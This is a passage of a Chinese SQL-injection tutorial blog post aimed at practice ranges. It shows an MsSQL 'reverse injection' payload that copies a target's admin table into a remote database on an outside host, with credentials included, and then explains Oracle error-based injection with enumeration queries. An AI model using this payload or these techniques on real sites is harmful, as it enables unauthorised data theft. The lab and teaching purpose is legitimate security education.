?id=1';insert into opendatasource('sqloledb', 'server=den1.mssql8.gear.host,1433; uid=debroon; pwd=Er2MDzH0!-Fi; database=debroon').debroon.dbo.admin2 select * from admin --+
放到浏览器里,等界面好了再去数据库查询 admin2 :

 

 

以上就是,MsSQL 的反弹注入。

推荐资料:《MsSQL数据库操作指南》。

 

报错注入

 

报错注入是以 Oracle 数据库演示,像 Oracle、Access、MySQL、MsSQL 这 4 种关系数据库很常见,国企很多用的 Oracle 。

和 MySQL 的显错注入一样,Oracle 的报错注入也是通过联合查询注入。

虽然注入过程类似,但注入细节上还是有很大差别的,因此先补充一些有关 Oracle 数据库的知识 。

Oracle 有一个 dual 表,dual 表是一个通用表,为满足 SQL 语句而存在的。

select 字段 from dual
select 函数 from dual
Oracle 数据库的 SQL 最为严格,如 调用函数在 MySQL 数据库格式是这样:

select 函数
没有 from dual,from 表 是 Oracle 强制规定的因此为满足语法而开发了一个 dual 表。

常见语句:

  查询数据库版本:select * from v$version

  查询所有表:select * from all_tables

  查询当前库下的表:select * from user_tables

  查询某个表的所有字段:select * from all_tab_columns

  查询当前表的字段:select * from user_tab_columns

 

上面的语句可在这里实践:http://59.63.200.79:8808//index_x.php

 


取单行字段,不同数据库有不同的支持语句:

MySQL :limit 0, 1 ,select * from admin limit 0,1。

MsSQL :top 1,select top 1 * from admin。

Oracle : rownum=1 , select * from user_tables where rownum=1。


靶场:

判断是否存在注入点
猜字段数
联合查询
获取字段名
获取字段值

 

SQL 注入资料:

《重新认识SQL注入》
《SQL字符型注入漏洞》
---------------------
作者:Debroon
来源:CSDN
原文:https://blog.csdn.net/qq_41739364/article/details/94025729
版权声明:本文为博主原创文章,转载请附上博文链接!

posted @ 2019-07-18 22:30  MTcx  阅读(2228)  评论(0编辑  收藏  举报